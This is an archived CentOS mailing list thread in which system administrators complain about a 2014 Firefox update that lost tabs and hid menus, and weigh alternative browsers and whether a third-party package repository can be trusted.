CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Hello,

when I launched Firefox31 at one site yesterday, I got a dialog saying:

It's been a long time since you used Firefox, would you like to clean 
it up?
After the clean up, I automaticaly got a directory  Old Firefox 
Data  on the desktop.

In there my old Firefox profile is stored.

Greetings, J.

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos

and I had a lot of users who had the title bar disappear.
When you right-click in the white space near the top, you can check/uncheck.
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread mark

On 09/25/14 03:09, Johan Vermeulen wrote:

op 25-09-14 09:01, Johan Vermeulen schreef:

op 25-09-14 02:46, Tom Bishop schreef:

On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote:

I just updated firefox, here at home... and when I fired it back up, *all*
of my tabs were gone. Every one (all couple dozen...)


when I launched Firefox31 at one site yesterday, I got a dialog saying:

It's been a long time since you used Firefox, would you like to clean it up?
After the clean up, I automaticaly got a directory  Old Firefox Data  on
the desktop.
In there my old Firefox profile is stored.



and I had a lot of users who had the title bar disappear.
When you right-click in the white space near the top, you can check/uncheck.


Yup, forgot that: no tool bar at all, no menus

mark
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Johan Vermeulen


op 25-09-14 13:46, mark schreef:

On 09/25/14 03:09, Johan Vermeulen wrote:

op 25-09-14 09:01, Johan Vermeulen schreef:

op 25-09-14 02:46, Tom Bishop schreef:

On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote:
I just updated firefox, here at home... and when I fired it back 
up, *all*

of my tabs were gone. Every one (all couple dozen...)


when I launched Firefox31 at one site yesterday, I got a dialog saying:

It's been a long time since you used Firefox, would you like to 
clean it up?
After the clean up, I automaticaly got a directory  Old Firefox 
Data  on

the desktop.
In there my old Firefox profile is stored.



and I had a lot of users who had the title bar disappear.
When you right-click in the white space near the top, you can 
check/uncheck.


Yup, forgot that: no tool bar at all, no menus

mark


Then maybe you are stuck in full-screen mode? Press f11 to exit that.

grts, Johan

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread John Doe
From: Johan Vermeulen jvermeu...@cawdekempen.be

 op 25-09-14 13:46, mark schreef:
  Yup, forgot that: no tool bar at all, no menus
 
  mark
 
 Then maybe you are stuck in full-screen mode? Press f11 to exit that.
 
 grts, Johan

You can press the Alt key to show the menu.

JD
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Valeri Galtsev

On Thu, September 25, 2014 8:59 am, John Doe wrote:
 From: Johan Vermeulen jvermeu...@cawdekempen.be

 op 25-09-14 13:46, mark schreef:
  Yup, forgot that: no tool bar at all, no menus

  mark

 Then maybe you are stuck in full-screen mode? Press f11 to exit that.

 grts, Johan

 You can press the Alt key to show the menu.


Indeed, with some new releases of some software we use you just have to
learn everything from scratch. I understand the frustration of people who
got used to least time consuming way to use it, then all of a sudden, it's
all different. I don't remember where I heard this, yet I would prefer the
developers to follow this:

Don't change anything unless it is absolutely necessary.

(it was excellent attitude to programming I was doing once: this way you
diminish the chance to break something that works...)

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread m . roth
Valeri Galtsev wrote:
 On Thu, September 25, 2014 8:59 am, John Doe wrote:
 From: Johan Vermeulen jvermeu...@cawdekempen.be
 op 25-09-14 13:46, mark schreef:
  Yup, forgot that: no tool bar at all, no menus

 Then maybe you are stuck in full-screen mode? Press f11 to exit that.

No. 99.44% of the time, I'm *NEVER* in fullscreen mode. All these damn
developers seem to be thinking of their idiot, er, smart phones, and *not*
about the majority of us using real computers with real monitors.

 You can press the Alt key to show the menu.

It is *completely* unacceptable to release an update that appears to
ignore the configuration files, and doesn't even *show* the menu, which
would absolutely freak out an ordinary user.

And to lose the tabs! I am *not* going to update firefox at work till they
fix this - I have stuff I need.
snip
   mark

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Scott Robbins
On Thu, Sep 25, 2014 at 09:09:15AM -0500, Valeri Galtsev wrote:
 
 developers to follow this:
 
 Don't change anything unless it is absolutely necessary.
 
 (it was excellent attitude to programming I was doing once: this way you
 diminish the chance to break something that works...)

Probably POLA, Principle Of Least Astonishment.

FreeBSD mentions it from time to time. 


-- 
Scott Robbins
PGP keyID EB3467D6
( 1B48 077D 66F6 9DB0 FDC2 A409 FA54 EB34 67D6 )
gpg --keyserver pgp.mit.edu --recv-keys EB3467D6

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Steve Lindemann

On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote:

Valeri Galtsev wrote:

On Thu, September 25, 2014 8:59 am, John Doe wrote:

From: Johan Vermeulen jvermeu...@cawdekempen.be

op 25-09-14 13:46, mark schreef:

  Yup, forgot that: no tool bar at all, no menus


Then maybe you are stuck in full-screen mode? Press f11 to exit that.


No. 99.44% of the time, I'm *NEVER* in fullscreen mode. All these damn
developers seem to be thinking of their idiot, er, smart phones, and *not*
about the majority of us using real computers with real monitors.


You can press the Alt key to show the menu.


It is *completely* unacceptable to release an update that appears to
ignore the configuration files, and doesn't even *show* the menu, which
would absolutely freak out an ordinary user.

And to lose the tabs! I am *not* going to update firefox at work till they
fix this - I have stuff I need.
snip


Switch to Palemoon or Qupzilla, firefox has improved itself to the 
point where it's just not a choice anymore, let alone a good one.  I've 
been using Palemoon and it's been a damn good choice for me... ymmv


Find something else that works for you, there are other choices.  It's 
gotten to the point where firefox is as bad as chrome or ie.  A shame, 
it used to be such a good choice.

--
Steve
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Valeri Galtsev

On Thu, September 25, 2014 9:13 am, m.r...@5-cent.us wrote:
 Valeri Galtsev wrote:
 On Thu, September 25, 2014 8:59 am, John Doe wrote:
 From: Johan Vermeulen jvermeu...@cawdekempen.be
 op 25-09-14 13:46, mark schreef:
  Yup, forgot that: no tool bar at all, no menus

 Then maybe you are stuck in full-screen mode? Press f11 to exit that.

 No. 99.44% of the time, I'm *NEVER* in fullscreen mode. All these damn
 developers seem to be thinking of their idiot, er, smart phones, and *not*
 about the majority of us using real computers with real monitors.

 You can press the Alt key to show the menu.

 It is *completely* unacceptable to release an update that appears to
 ignore the configuration files, and doesn't even *show* the menu, which
 would absolutely freak out an ordinary user.

 And to lose the tabs! I am *not* going to update firefox at work till they
 fix this - I have stuff I need.
 snip

I've started looking for firefox replacement some 4 if not 5 years ago.
Since one of the students working here whom I knew after running his own
company with a couple of his friends for about a year went to mozilla
foundation as a ...(production manager if my memory doesn't fail me, my
apologies if I'm wrong). Shortly after that the whole attitude there, at
least as far as Firefox is concerned, changed. )Quite in line with what I
know about the guy, hence my circumstantial conclusion. I'm not say he
changed it, it may be true, but maybe his hiring was just a consequence of
change that already happened.) Firefox releases started getting rushed
out, like every 2 or 3 Months new release; they were awfully overburdened
with new fancy (often not that necessary) stuff, changing dramatically
how you interact with your browser. Worst of all, not to well debugged
before releasing. Those who still remember netscape and mozilla browsers,
try to remember how often you had to apply critical updates, or upgrade
the browser to new version. I know, I know, still...

Yes, I still didn't find replacement for firefox... so, anyone who has a
any suggestions of decent open source browser, please, let me know.

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread m . roth
Steve Lindemann wrote:
 On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote:
 Valeri Galtsev wrote:
 On Thu, September 25, 2014 8:59 am, John Doe wrote:
 From: Johan Vermeulen jvermeu...@cawdekempen.be
 op 25-09-14 13:46, mark schreef:
   Yup, forgot that: no tool bar at all, no menus
snip
 It is *completely* unacceptable to release an update that appears to
 ignore the configuration files, and doesn't even *show* the menu, which
 would absolutely freak out an ordinary user.

 And to lose the tabs! I am *not* going to update firefox at work till
 they fix this - I have stuff I need.
 snip

 Switch to Palemoon or Qupzilla, firefox has improved itself to the
 point where it's just not a choice anymore, let alone a good one.  I've
 been using Palemoon and it's been a damn good choice for me... ymmv

palemoon looks nice - *is* there a package for it somewhere, or do you
have to d/l and install from their homepage?

 Find something else that works for you, there are other choices.  It's
 gotten to the point where firefox is as bad as chrome or ie.  A shame,
 it used to be such a good choice.

I have to worry, here at work. I am *not* going to even think about trying
to force my users to use another browser, one they've never heard of (I've
never heard of either of these). This needs to be fixed

   mark

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Valeri Galtsev

On Thu, September 25, 2014 9:42 am, m.r...@5-cent.us wrote:
 Steve Lindemann wrote:
 On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote:
 Valeri Galtsev wrote:
 On Thu, September 25, 2014 8:59 am, John Doe wrote:
 From: Johan Vermeulen jvermeu...@cawdekempen.be
 op 25-09-14 13:46, mark schreef:
   Yup, forgot that: no tool bar at all, no menus
 snip
 It is *completely* unacceptable to release an update that appears to
 ignore the configuration files, and doesn't even *show* the menu, which
 would absolutely freak out an ordinary user.

 And to lose the tabs! I am *not* going to update firefox at work till
 they fix this - I have stuff I need.
 snip

 Switch to Palemoon or Qupzilla, firefox has improved itself to the
 point where it's just not a choice anymore, let alone a good one.  I've
 been using Palemoon and it's been a damn good choice for me... ymmv

 palemoon looks nice - *is* there a package for it somewhere, or do you
 have to d/l and install from their homepage?

 Find something else that works for you, there are other choices.  It's
 gotten to the point where firefox is as bad as chrome or ie.  A shame,
 it used to be such a good choice.

 I have to worry, here at work. I am *not* going to even think about trying
 to force my users to use another browser, one they've never heard of (I've
 never heard of either of these). This needs to be fixed


I'm in the same fix... But. When I will find open source, acceptable
browser which I can predict will last and will have the same great
attitude late netscape or mozilla had, I will start installing it
simultaneously with firefox, yet will make it default browser, which users
can switch to firefox from if the want to, and will definitely mention why
I suggest that browser. Some users will get alone with new browser, and
after some critical mass of them, maybe a year down the road it will be
done deal. The only shortcoming in my plan is an existence of damn google
chrome. (Others already cursed at it, so I'll save my breath).

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Tom Bishop


 I'm in the same fix... But. When I will find open source, acceptable
 browser which I can predict will last and will have the same great
 attitude late netscape or mozilla had, I will start installing it
 simultaneously with firefox, yet will make it default browser, which users
 can switch to firefox from if the want to, and will definitely mention why
 I suggest that browser. Some users will get alone with new browser, and
 after some critical mass of them, maybe a year down the road it will be
 done deal. The only shortcoming in my plan is an existence of damn google
 chrome. (Others already cursed at it, so I'll save my breath).

 Valeri

 
 Valeri Galtsev
 Sr System Administrator
 Department of Astronomy and Astrophysics
 Kavli Institute for Cosmological Physics
 University of Chicago
 Phone: 773-702-4247
 
 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos

I like the look of palemoon, I am going to drop an email to Nux and
see if we can get it added to his repo.
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Steve Lindemann

On 9/25/2014 8:42 AM, m.r...@5-cent.us wrote:

Steve Lindemann wrote:

On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote:

Valeri Galtsev wrote:

On Thu, September 25, 2014 8:59 am, John Doe wrote:

From: Johan Vermeulen jvermeu...@cawdekempen.be

op 25-09-14 13:46, mark schreef:

   Yup, forgot that: no tool bar at all, no menus

snip

It is *completely* unacceptable to release an update that appears to
ignore the configuration files, and doesn't even *show* the menu, which
would absolutely freak out an ordinary user.

And to lose the tabs! I am *not* going to update firefox at work till
they fix this - I have stuff I need.
snip


Switch to Palemoon or Qupzilla, firefox has improved itself to the
point where it's just not a choice anymore, let alone a good one.  I've
been using Palemoon and it's been a damn good choice for me... ymmv


palemoon looks nice - *is* there a package for it somewhere, or do you
have to d/l and install from their homepage?


Find something else that works for you, there are other choices.  It's
gotten to the point where firefox is as bad as chrome or ie.  A shame,
it used to be such a good choice.


I have to worry, here at work. I am *not* going to even think about trying
to force my users to use another browser, one they've never heard of (I've
never heard of either of these). This needs to be fixed


yup, that would be the fly in the ointment.  It's certainly not in the 
distro's I use (base,extras,updates,rpmforge,epel).  I did find qupzilla 
in linux mint, but not palemoon and neither in the centos distro's that 
I use.  Can't speak to other systems.


For a mass install you pretty much have to roll your own.  I've only 
used it on individual systems that I work with directly and downloaded 
from the website.  I can only speak to my personal use.  Hopefully it 
will start showing up in the distro's, we definitely need something 
other than firefox these days.

--
Steve

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Ron Yorston
m.r...@5-cent.us wrote:
palemoon looks nice

My concern with Pale Moon is that it's based on the Firefox 24 extended
support release, which is no longer supported.  Don't know how that'll
play out.

In the meantime I've added exclude=firefox to my yum configuration and
am sticking with Firefox 24.  On Fedora I've switched to Midori.

I don't want 'tabs on top' and over the past several releases the Firefox
developers have been making it more and more difficult to configure that.
It used to be the default but now it requires a third-party extension
and jumping through several hoops.

Ron
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Valeri Galtsev

On Thu, September 25, 2014 10:10 am, Ron Yorston wrote:
 m.r...@5-cent.us wrote:
palemoon looks nice

 My concern with Pale Moon is that it's based on the Firefox 24 extended
 support release,

Sad. If there is no own developers team behind that, it hardly will
survive enterprise level length of time...

 which is no longer supported.  Don't know how that'll
 play out.

 In the meantime I've added exclude=firefox to my yum configuration and
 am sticking with Firefox 24.  On Fedora I've switched to Midori.

I've tested and am using midori on my FreeBSD workstation (and some
servers whenever I need to use browser on the server...). I can not push
midori on my users though, as midori is a bit too rudimentary in my
opinion compared to what my users usually need from web browser...

Just my $0.02

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread m . roth
Tom Bishop wrote:

 I'm in the same fix... But. When I will find open source, acceptable
 browser which I can predict will last and will have the same great
 attitude late netscape or mozilla had, I will start installing it
 simultaneously with firefox, yet will make it default browser, which
 users can switch to firefox from if the want to, and will definitely
mention
 why  I suggest that browser. Some users will get alone with new
browser, and
 after some critical mass of them, maybe a year down the road it will be
 done deal. The only shortcoming in my plan is an existence of damn
 google chrome. (Others already cursed at it, so I'll save my breath).

 I like the look of palemoon, I am going to drop an email to Nux and
 see if we can get it added to his repo.

Maybe we can get it into extras? I mentioned something from his repo to my
manager, who understandably balked at a Russian server (this is a US gov't
agency (non-DoD) that we work at

   mark

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Tom Bishop

 Maybe we can get it into extras? I mentioned something from his repo to my
 manager, who understandably balked at a Russian server (this is a US gov't
 agency (non-DoD) that we work at

mark

 ___
 CentOS mailing list
 CentOS@centos.org
 http://lists.centos.org/mailman/listinfo/centos


Oops, yeah I can see why that might be an issue, Nux is pretty active
and the source is available but yeah I get it.

If I had more time I would like to try to help out at least with the
builds, but we still need to get it in a repo somewhere.

Something to work at, will add it to my to do list.
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Nicolas Thierry-Mieg



On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote:

Tom Bishop wrote:

I like the look of palemoon, I am going to drop an email to Nux and
see if we can get it added to his repo.


Maybe we can get it into extras? I mentioned something from his repo to my
manager, who understandably balked at a Russian server (this is a US gov't
agency (non-DoD) that we work at



li.nux.ro, that's Romania not Russia.
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Steve Lindemann

On 9/25/2014 9:07 AM, Steve Lindemann wrote:

On 9/25/2014 8:42 AM, m.r...@5-cent.us wrote:

Steve Lindemann wrote:

On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote:

Valeri Galtsev wrote:

On Thu, September 25, 2014 8:59 am, John Doe wrote:

From: Johan Vermeulen jvermeu...@cawdekempen.be

op 25-09-14 13:46, mark schreef:

   Yup, forgot that: no tool bar at all, no menus

snip

It is *completely* unacceptable to release an update that appears to
ignore the configuration files, and doesn't even *show* the menu, which
would absolutely freak out an ordinary user.

And to lose the tabs! I am *not* going to update firefox at work till
they fix this - I have stuff I need.
snip


Switch to Palemoon or Qupzilla, firefox has improved itself to the
point where it's just not a choice anymore, let alone a good one.  I've
been using Palemoon and it's been a damn good choice for me... ymmv


palemoon looks nice - *is* there a package for it somewhere, or do you
have to d/l and install from their homepage?


Find something else that works for you, there are other choices.  It's
gotten to the point where firefox is as bad as chrome or ie.  A shame,
it used to be such a good choice.


I have to worry, here at work. I am *not* going to even think about
trying
to force my users to use another browser, one they've never heard of
(I've
never heard of either of these). This needs to be fixed


yup, that would be the fly in the ointment.  It's certainly not in the
distro's I use (base,extras,updates,rpmforge,epel).  I did find qupzilla
in linux mint, but not palemoon and neither in the centos distro's that
I use.  Can't speak to other systems.

For a mass install you pretty much have to roll your own.  I've only
used it on individual systems that I work with directly and downloaded
from the website.  I can only speak to my personal use.  Hopefully it
will start showing up in the distro's, we definitely need something
other than firefox these days.
--
Steve


I meant repo's not distro's in the first paragraph ...DUH!  //Steve

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Valeri Galtsev

On Thu, September 25, 2014 11:16 am, Nicolas Thierry-Mieg wrote:


 On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote:
 Tom Bishop wrote:
 I like the look of palemoon, I am going to drop an email to Nux and
 see if we can get it added to his repo.

 Maybe we can get it into extras? I mentioned something from his repo to
 my
 manager, who understandably balked at a Russian server (this is a US
 gov't
 agency (non-DoD) that we work at


 li.nux.ro, that's Romania not Russia.

That is a relief. I recommend my users against several things, free
Kasperski antivirus one of them (knowing that Kasperski is KGB guy, and in
that sort of service you never retire, only feet first dead; true about
that service in any country...)

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Nicolas Thierry-Mieg



On 09/25/2014 04:38 PM, Valeri Galtsev wrote:

Yes, I still didn't find replacement for firefox... so, anyone who has a
any suggestions of decent open source browser, please, let me know.


maybe try seamonkey, I've been using it for ages (basically since 
firefox split from mozilla suite ;-) ) and I'm satisfied. It uses the 
same base code as firefox  thunderbird but it doesn't seem to change 
cosmetic things around all the time.


No packages for EL6 AFAIK, for a long time I built my own but now I just 
grab the Linux/x86_64 build from their download page, tar xfvj, rename 
the subdir to have the date there, make my seamonkey-latest symlink 
point to that dir, make a symlink in that dir pointing to 
/usr/lib64/mozilla/plugins/ , and voila.

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread m . roth
Nicolas Thierry-Mieg wrote:
 On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote:
 Tom Bishop wrote:
 I like the look of palemoon, I am going to drop an email to Nux and
 see if we can get it added to his repo.

 Maybe we can get it into extras? I mentioned something from his repo to
 my manager, who understandably balked at a Russian server (this is a US
 gov't agency (non-DoD) that we work at

 li.nux.ro, that's Romania not Russia.

Thanks, I sit (and type) corrected. There was something nagging at me,
saying Russia was wrong for Nux. However, I don't foresee aforesaid
manager being happy with an eastern European individual's repo.

*sigh*

But - could someone correct me if I'm wrong - isn't extras for things
like this?

 mark

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Александр Кириллов
Maybe we can get it into extras? I mentioned something from his repo 
to
my manager, who understandably balked at a Russian server (this is a 
US

gov't agency (non-DoD) that we work at


li.nux.ro, that's Romania not Russia.


Thanks, I sit (and type) corrected. There was something nagging at me,
saying Russia was wrong for Nux. However, I don't foresee aforesaid
manager being happy with an eastern European individual's repo.


Jesus! Couldn't you just shut up?

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Jake Shipton
On 25/09/14 17:42, m.r...@5-cent.us wrote:
 Nicolas Thierry-Mieg wrote:
 On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote:
 Tom Bishop wrote:
 I like the look of palemoon, I am going to drop an email to
 Nux and see if we can get it added to his repo.
 
 Maybe we can get it into extras? I mentioned something from his
 repo to my manager, who understandably balked at a Russian
 server (this is a US gov't agency (non-DoD) that we work
 at
 
 li.nux.ro, that's Romania not Russia.
 
 Thanks, I sit (and type) corrected. There was something nagging at
 me, saying Russia was wrong for Nux. However, I don't foresee
 aforesaid manager being happy with an eastern European individual's
 repo.
 
 *sigh*
 
 But - could someone correct me if I'm wrong - isn't extras for
 things like this?
 
 mark
 
 ___ CentOS mailing
 list CentOS@centos.org 
 http://lists.centos.org/mailman/listinfo/centos
 

Guess it's the old if it ain't American, it ain't right attitude? :-).

A suggestion for your picky boss: Custom repository.

You could create a custom repository featuring these off limits
products and simply create a repo-release package which gets installed
with each machine.

This way each machine has the repository, and can install the extra
packages.

I have done this before and works fine, I usually just create my own
rpms or grab src rpms from fedora koji and put them in my own repo if
I want something that is not available in any repositories.

This should solve most of the problems with your boss :-).

PS: Better not tell your boss Linux was created in Finland..

Kind Regards,
Jake Shipton (JakeMS)
GPG Key: 0xE3C31D8F
GPG Fingerprint: 7515 CC63 19BD 06F9 400A DE8A 1D0B A5CF E3C3 1D8F
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread m . roth
Jake Shipton wrote:
 On 25/09/14 17:42, m.r...@5-cent.us wrote:
 Nicolas Thierry-Mieg wrote:
 On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote:
 Tom Bishop wrote:
 I like the look of palemoon, I am going to drop an email to
 Nux and see if we can get it added to his repo.

 Maybe we can get it into extras? I mentioned something from his
 repo to my manager, who understandably balked at a Russian
 server (this is a US gov't agency (non-DoD) that we work
 at

 li.nux.ro, that's Romania not Russia.

 Thanks, I sit (and type) corrected. There was something nagging at
 me, saying Russia was wrong for Nux. However, I don't foresee
 aforesaid manager being happy with an eastern European individual's
 repo.

 *sigh*

 But - could someone correct me if I'm wrong - isn't extras for
 things like this?

 Guess it's the old if it ain't American, it ain't right attitude? :-).

Don't be absurd. How 'bout can we be sure that no one's inserted nasties
into the code? How 'bout who else has looked at and compared the code to
the project source?

*I* would trust Nux... but a) I can't speak or set policy for my
organization[1][2], and b) I wouldn't feel comfortable committing my
organization to use it, and urging it on my users of my division, and then
someone hacks his repo.

As an admin I used to work with liked to say, he was paid to be
professionally paranoid.

 A suggestion for your picky boss: Custom repository.

We have our own repo. However, there's *2.x* of us (my manager's working
with another Institute too much of the time these days), and we do NOT
want to have to maintain packages (don't even *ask* me about my packaging
of BioPerl). We want to yum update from trusted repos
snip
 This way each machine has the repository, and can install the extra
 packages.

*snicker* Each machine. Right, I'm going to put a repo on ever single
server and workstation... and then maintain it. When nobody actually works
on their workstation, the work is supposed to be done on servers, with
home directories NFS mounted

You're joking, right?
snip

 mark

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Les Mikesell
On Thu, Sep 25, 2014 at 12:18 PM,  m.r...@5-cent.us wrote:

 Guess it's the old if it ain't American, it ain't right attitude? :-).

 Don't be absurd. How 'bout can we be sure that no one's inserted nasties
 into the code? How 'bout who else has looked at and compared the code to
 the project source?

That's ummm, funny, considering the stuff we've all been running.

-- 
   Les Mikesell
 lesmikes...@gmail.com
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread m . roth
Sorry, missing footnotes to last email:
1] you'll notice I never mention the organization name - I really am not
allowed to speak for my organization, or my company.
2] Partly because I work for a federal contractor

  mark

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Jake Shipton
On 25/09/14 18:18, m.r...@5-cent.us wrote:
 Jake Shipton wrote:
 
 Guess it's the old if it ain't American, it ain't right
 attitude? :-).
 
 Don't be absurd. How 'bout can we be sure that no one's inserted
 nasties into the code? How 'bout who else has looked at and
 compared the code to the project source?
 
 *I* would trust Nux... but a) I can't speak or set policy for my 
 organization[1][2], and b) I wouldn't feel comfortable committing
 my organization to use it, and urging it on my users of my
 division, and then someone hacks his repo.
 
 As an admin I used to work with liked to say, he was paid to be 
 professionally paranoid.

Fair enough, same reason I do not use Windows at all anywhere :-).

 
 A suggestion for your picky boss: Custom repository.
 
 We have our own repo. However, there's *2.x* of us (my manager's
 working with another Institute too much of the time these days),
 and we do NOT want to have to maintain packages (don't even *ask*
 me about my packaging of BioPerl). We want to yum update from
 trusted repos

Yeah, I know the feeling of that, I am the only IT guy in our company
my job usually includes:

1) Build systems
2) Configure servers
3) Maintain servers
4) Configure desktops
5) Maintain desktops
6) Develop any homemade applications when and where necessary
7) Develop and maintain website
8) Process and deliver online orders
9) Reply to customer support emails
10) Occasionally be on shop front (Mostly weekends) and directly deal
with customers.
11) Anything else as and where needed.

Basically.. everything as I am part of a 3-way business partnership
which only has 3 people working (Self employed).

I literally work from when I wake up to when I go to bed.

So I know what it's like to not have many people doing stuff, and I
know it can be done, so maintaining your own repository is actually
quite easy when there is two of you if you set up email notifications
etc of when new packages are released, and assuming you don't put far
to many packages in your own repo and keep it to the odd one or two
where needed you should be able to maintain it fairly easily. :-)

 snip
 This way each machine has the repository, and can install the
 extra packages.
 
 *snicker* Each machine. Right, I'm going to put a repo on ever
 single server and workstation... and then maintain it. When nobody
 actually works on their workstation, the work is supposed to be
 done on servers, with home directories NFS mounted
 
 You're joking, right? snip
 

Nope quite serious, regarding installing the repo on the machines,
create your own release package, then it's just the case of yum
install rpm url.

If you use PXE booting for new installs, just include it on the
kickstart file and it will automatically be installed to any new systems.

After that initial setup, you just install and update the packages the
same as you would with any other repository package.

Besides, I'm just offering a simple solution to your problem...

Kind Regards,
Jake Shipton (JakeMS)
GPG Key: 0xE3C31D8F
GPG Fingerprint: 7515 CC63 19BD 06F9 400A DE8A 1D0B A5CF E3C3 1D8F
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Always Learning

On Thu, 2014-09-25 at 09:09 -0500, Valeri Galtsev wrote:

 Don't change anything unless it is absolutely necessary.

Extremely wise advice.  Seems upstream do not always agree :-)


-- 
Regards,

Paul.
England, EU.

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Always Learning

On Thu, 2014-09-25 at 18:16 +0200, Nicolas Thierry-Mieg wrote:
 
 On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote:
 
  Maybe we can get it into extras? I mentioned something from his repo to my
  manager, who understandably balked at a Russian server (this is a US gov't
  agency (non-DoD) that we work at

 li.nux.ro, that's Romania not Russia.

USA people are not too familiar with Europe which extends from the
Arctic circle (Svalbard, 81º North, Norwegian) to the Mediterranean, and
from the French coast to the Ural mountains in Russia. The 28 countries
of the EU have a population exceeding 800 million (the USA's is about
307m). That leaves about 22 European countries not (yet) in the EU.


Paul
England, EU.

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Valeri Galtsev

On Thu, September 25, 2014 7:32 pm, Always Learning wrote:

 On Thu, 2014-09-25 at 18:16 +0200, Nicolas Thierry-Mieg wrote:

 On 09/25/2014 05:49 PM, m.r...@5-cent.us wrote:
 
  Maybe we can get it into extras? I mentioned something from his repo
 to my
  manager, who understandably balked at a Russian server (this is a US
 gov't
  agency (non-DoD) that we work at

 li.nux.ro, that's Romania not Russia.

 USA people are not too familiar with Europe which extends from the
 Arctic circle (Svalbard, 81º North, Norwegian) to the Mediterranean, and
 from the French coast to the Ural mountains in Russia. The 28 countries
 of the EU have a population exceeding 800 million (the USA's is about
